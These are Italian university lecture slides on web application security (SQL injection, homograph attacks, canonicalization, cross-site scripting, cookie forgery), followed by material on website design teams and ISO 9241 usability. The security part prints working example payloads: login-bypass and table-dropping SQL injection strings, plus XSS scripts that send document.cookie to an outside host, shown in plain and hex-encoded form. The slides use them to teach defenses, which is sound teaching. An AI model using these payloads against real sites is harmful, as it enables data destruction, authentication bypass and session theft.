1
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
Homograph Attack
Cross-Site Scripting
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
“SQL Injection is a techniquefor exploiting web
applications that use client-supported data in SQL querieswithout stripping potentially
harmful characters first”
2
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
$sql = “SELECT * FROM client WHEREusername=‘” . $username . “’ AND ‘”password=‘” . $password . “’”;
Esempi
SELECT * FROM client WHEREusername=‘Rossi’ AND password=‘****’
SELECT * FROM client WHEREusername=‘Rossi’ OR 1=1 --
Commento in molti DBMS!
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
Esempio (in ASP)
3
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
� Username:rossi, Password:*******
� Username:verdi, Password:*******
� Username: ’ OR ‘’=‘Passowrd: ’ OR ‘’=‘
SELECT * FROM client WHEREusername=‘’ OR ‘’=‘’ ANDpassword=‘’ OR ‘’=‘’
true !!
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
Esempio (in ASP)
4
Applicazioni di Rete – M. Ribaudo - DISI
SQL Injection
� Username: ’; DROP TABLE clienti--
(per Transact-SQL, usato da SQL server)
� userId: 123; shutdown--
Per saperne di piùwww.nextgenss.com/papers/advanced_sql_injection.pdf
Applicazioni di Rete – M. Ribaudo - DISI
Soluzione?
� Validare sempre molto bene idati in input usando, sepossibile, le espressioniregolari
� Suggerimento: considerate qualisono i dati validi e rifiutatetutto il resto …
5
Applicazioni di Rete – M. Ribaudo - DISI
Homograph Attack
� Il problema sorge a causadell’equivalenza visiva tra lelettere di alfabeti diversi
� Siamo abituati a confondere 0 (zero)con O (o maiuscola) ma esistono altricaratteri che pur essendo visivamentesimili, sono semanticamente moltodiversi!
� Nel cirillico ci sono per esempio lelettere a, c, e, p, y, x, …
Applicazioni di Rete – M. Ribaudo - DISI
Homograph Attack
� John Hacker “imita” il nome del sitoweb della vostra banca
� Installa un proxy che instrada inmodo trasparente tutte le vostrerichieste alla vostra banca
� “Inserisce” il suo link nei portalipiù importanti
6
Applicazioni di Rete – M. Ribaudo - DISI
Homograph Attack
� Poichè la maggior parte delle volteclicchiamo sui link e non li scriviamodirettamente nella location bar
� … John Hacker ha accesso a login epassword dei clienti della banca ☺☺☺☺
� Per saperne di piùwww.cs.technion.ac.il/~gabr/papers/homograph_full.pdf
Applicazioni di Rete – M. Ribaudo - DISI
Rappresentazione canonica
� “Do not make any security decisionbased on the name of a resource,especially a filename”
� Esistono nomi diversi peridentificare la stessa risorsa/home/stud/2000s000/index.html
~2000s000/index.html
/home/../home/stud/ …
� Il nome canonico è quello più“semplice” (lo standard)
7
Applicazioni di Rete – M. Ribaudo - DISI
Bypassing Napster Name Filtering
� Canonicalization bug ☺☺☺☺
� Il blocco delle canzoni è stato fattosulla base del nome della canzone e nonci è voluto molto a bypassare il filtro…
� .. changes the file names of songsinside a person's Napster directoryinto a spelling inspired by Pig Latin.The Radiohead song "Karma Police," forexample, would be transformed into"armaK oliceP."
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
“An intruder causes alegitimate web server tosend a page to a victim’s
browser that containsmalicious scripts chosen
by the intruder”
8
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
Cross site scripting (also known as XSS)occurs when a web application gathersmalicious data from a user. The data isusually gathered in the form of a hyperlinkwhich contains malicious content within it.
The user will most likely click on this linkfrom another website, instant message, orsimply just reading a web board or emailmessage. Usually the attacker will encodethe malicious portion of the link to thesite in HEX (or other encoding methods) sothe request is less suspicious looking tothe user when clicked on.
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
� È un problema dovuto a duefattori diversi
�Spesso i siti web si fidano deidati in arrivo dall’esterno(“untrusted entity”)
�Spesso i siti web visualizzano inoutput quello che ricevono in input
9
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
<a href=http://www.contoso.com/req.asp?name=
>Clicca qui per visitare www.contoso.com</a>
<formaction=“http://www.badsite.com/data.asp”method=“post”name=“mioform”>
<input type=“hidden” name=“cook”></form><script>mioform.cook.value=document.cookie;mioform.submit();</script>
<formaction=“http://www.badsite.com/data.asp”method=“post”name=“mioform”>
<input type=“hidden” name=“cook”></form><script>mioform.cook.value=document.cookie;mioform.submit();</script>
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
Cookie theft Javascript Example
ASCII Usage:http://host/a.php?variable="><script>document.location='http://www.
cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>
Hex Usage:http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%
75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
http://www.cgisecurity.com/articles/xss-faq.shtml
10
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
"What can I do to protect myself?"
This is a simple answer. Never trust user inputand always filter metacharacters. This willeliminate the majority of XSS attacks.Converting < and > to < and > is alsosuggested when it comes to script output.
Filtering < and > alone will not solve allcross site scripting attacks and it issuggested you also attempt to filter out ( and) by translating them to ( and ), andalso # and & by translating them to # (#)and & (&).
Applicazioni di Rete – M. Ribaudo - DISI
Cross-Site Scripting (XSS)
� Come posso verificare se il miocodice è attaccabile tramite XSS?
1. Scrivo tutti gli entry point dell’applicazioneweb (campi di un modulo, querystring, HTTPheaders, cookies, dati in arrivo da un database)
2. Seguo ciascun dato nel suo “attraversamento”dell’applicazione
3. Verifico se viene restituito in output
4. Se sì, verifico che ogni dato sia “ripulito” dameta-caratteri pericolosi
11
Applicazioni di Rete – M. Ribaudo - DISI
Web cookies: not just a privacy risk
� DoubleClick (e altri) usa i cookie pertracciare gli utenti e per mandaremessaggi pubblicitari mirati. Ma questonon è un vero pericolo …
� Il pericolo nasce quando i cookievengono usati per l’autenticazione e,soprattutto, quando vengono forniteinformazioni personalizzate …
Applicazioni di Rete – M. Ribaudo - DISI
Web cookies: not just a privacy risk
� La specifica dei cookie si basainfatti su un’idea di collaborazionetra browser e server e molti siti nonsalvano i cookie in modo sicuro
� Diventa facile “forgiare” un nuovocookie per impersonare un altroutente
� Quindi, è opportuno non affidarsi maial solo meccanismo dei cookie perrestituire informazioni sensibili
12
Applicazioni di Rete – M. Ribaudo - DISI
Progettare un sito web
Interattivo e Usabile
Applicazioni di Rete – M. Ribaudo - DISI
Il team
� I siti web professionali non sonosviluppati da una sola persona, masono il frutto di un lavoro digruppo. Ad esempio:
� Project Manager
� Client Representative
� Technology Researcher
13
Applicazioni di Rete – M. Ribaudo - DISI
Il team
�Content Developer / WriterSa scrivere!!! e deve scegliere il“tono” adeguato per il web
�Information ArchitectDeve pianificare la navigazione del sito ele caratteristiche interattive di base
�Graphic DesignerÈ il responsabile dell’identità visiva delsito, del layout delle pagine … crea illook & feel
Applicazioni di Rete – M. Ribaudo - DISI
�Multimedia DesignerÈ il responsabile dei contenuti audio/video
�Technical DesignerSceglie le tecnologie per la realizzazionedelle caratteristiche interattive. Deveconoscere i linguaggi di programmazione e,possibilmente, principi di interazione conl’utente e di progettazione di interfacce
Il team
14
Applicazioni di Rete – M. Ribaudo - DISI
�Content ProducerDeve convertire i contenuti originali e leimmagini in pagine HTML. Lavora a fiancodel programmatore
�System AdministratorSi occupa della gestione del server web,del DBMS server, … dei backup e dellasicurezza
�Test/Focus Group CoordinatorSi occupa dell’analisi dell’usabilità delsito dal punto di vista dell’utente e dalpunto di vista della robustezza del codice
Il team
Applicazioni di Rete – M. Ribaudo - DISI
Usabilità?
� Why
� Who
� Where
� What
� When
15
Applicazioni di Rete – M. Ribaudo - DISI
Why?
“Usability rules the Web.Simply stated if the customercan’t find a product she willnot buy it. […] It is so easy
to go elsewhere; all thecompetitors in the world are
but a mouseclick away”
Jakob Nielsen: Designing Web Usability
Applicazioni di Rete – M. Ribaudo - DISI
Who?
Noi stessi, gli utenti
16
Applicazioni di Rete – M. Ribaudo - DISI
Where?
Sul web ma non solo,l’usabilità coinvolge le
nostre esperienze con ognitipo di artefatto
Applicazioni di Rete – M. Ribaudo - DISI
What?
Non esiste unadefinizione univoca
17
Applicazioni di Rete – M. Ribaudo - DISI
ISO 9241
La efficacia e soddisfazionecon cui specificati utentiraggiungono specificatiobiettivi in particolariambienti
Usabilità
Applicazioni di Rete – M. Ribaudo - DISI
Usabilità
Efficacia
La accuratezza e la completezzacon cui gli utenti possonoraggiungere determinatiobiettivi in particolariambienti
18
Applicazioni di Rete – M. Ribaudo - DISI
Usabilità
Efficienza
Le risorse spese in relazioneall’accuratezza e allacompletezza degli obiettiviraggiunti
Applicazioni di Rete – M. Ribaudo - DISI
Usabilità
Soddisfazione
Il comfort e l’accettabilitàdel sistema di lavoro per isuoi utenti e per altrepersone influenzate dal suo uso
19
Applicazioni di Rete – M. Ribaudo - DISI
Usabilità
efficacia
soddisfazione
ISO 9241 cerca di fornire una misura dell’usabilità
efficienza
Applicazioni di Rete – M. Ribaudo - DISI
efficacia
soddisfazioneefficienza
Usabilità
numero di volte in cuisi chiude l’acquarispetto al numero ditentativi
numero di giri della manopolaper chiudere completamentel’acqua
numero di volte incui è stata espressauna preferenza perquesto tipo dimanopola
ESEMPIO
20
Applicazioni di Rete – M. Ribaudo - DISI
efficacia
soddisfazioneefficienza
Usabilità
numero di volte in cuisi conclude un acquistorispetto al numero ditentativi
numero di clic del mouseper concludere l’acquisto
numero di volte incui è stata espressauna preferenza perquesto sito
Applicazioni di Rete – M. Ribaudo - DISI
Principi di usabilità
Non esiste un “catalogo” diprincipi di usabilità per le
applicazioni interattive
Vediamo alcuni “suggerimenti”validi in generale, che vanno
reinterpretati per il web
21
Applicazioni di Rete – M. Ribaudo - DISI
Rendere gli oggetti
e le azioni visibili
Riconoscere vs Ricordare
Applicazioni di Rete – M. Ribaudo - DISI
Esplicitare le affordance
Segnali che ci
indicano come
usare gli oggetti
22
Applicazioni di Rete – M. Ribaudo - DISI
… less is more …
Si deve cercare diminimizzare il caricocognitivo dell’utente
7 +/- 2
Applicazioni di Rete – M. Ribaudo - DISI
Usare mapping corretti
23
Applicazioni di Rete – M. Ribaudo - DISI
Usare mapping corretti
Applicazioni di Rete – M. Ribaudo - DISI
Essere consistenti
Non usare sinonimi
Attenzione all’uso dellemetafore
24
Applicazioni di Rete – M. Ribaudo - DISI
Esempio di metafora non consistente
Applicazioni di Rete – M. Ribaudo - DISI
Usare il linguaggio dell’utente
Chi usa l’interfaccianon deve conoscere
il gergo informatico
25
Applicazioni di Rete – M. Ribaudo - DISI
Usare il linguaggio dell’utente
Applicazioni di Rete – M. Ribaudo - DISI
Meccanismi di azione efficienti
Acceleratori
History
26
Applicazioni di Rete – M. Ribaudo - DISI
Gestire gli errori
Se possibile prevenire glierrori, altrimenti fornire
meccanismi di Undo
Applicazioni di Rete – M. Ribaudo - DISI
Fornire uscite chiare
Cancel
Exit
27
Applicazioni di Rete – M. Ribaudo - DISI
Rendere visibile lo stato del sistema
Fornire feedback
Applicazioni di Rete – M. Ribaudo - DISI
Rendere visibile lo stato del sistema
28
Applicazioni di Rete – M. Ribaudo - DISI
Fornire informazioni persistenti
La comunicazione vocalenon è persistente,quella visiva sì
Applicazioni di Rete – M. Ribaudo - DISI
Usabilità
� Why
� Who
� Where
� What
�When
29
Applicazioni di Rete – M. Ribaudo - DISI
When?
Secondo la disciplina dellaUsability Engineering - che ponel’enfasi sui criteri che devonoessere adottati per valutare unprodotto rispetto alla suausabilità - questa analisi deveessere fatta a partire dalle fasiiniziali del ciclo di sviluppodel software …
Applicazioni di Rete – M. Ribaudo - DISI
Come si valuta?
� Interviste
� Focus Group
� Analisi di log
� Test in laboratorio
� …
… per quanto riguarda il vostro progetto,chiedete ai compagni di “fare un giro” nel
vostro sito ed osservate (magari senza intervenire)
le loro difficoltà e i loro errori
… per quanto riguarda il vostro progetto,chiedete ai compagni di “fare un giro” nel
vostro sito ed osservate (magari senza intervenire)
le loro difficoltà e i loro errori
Top Related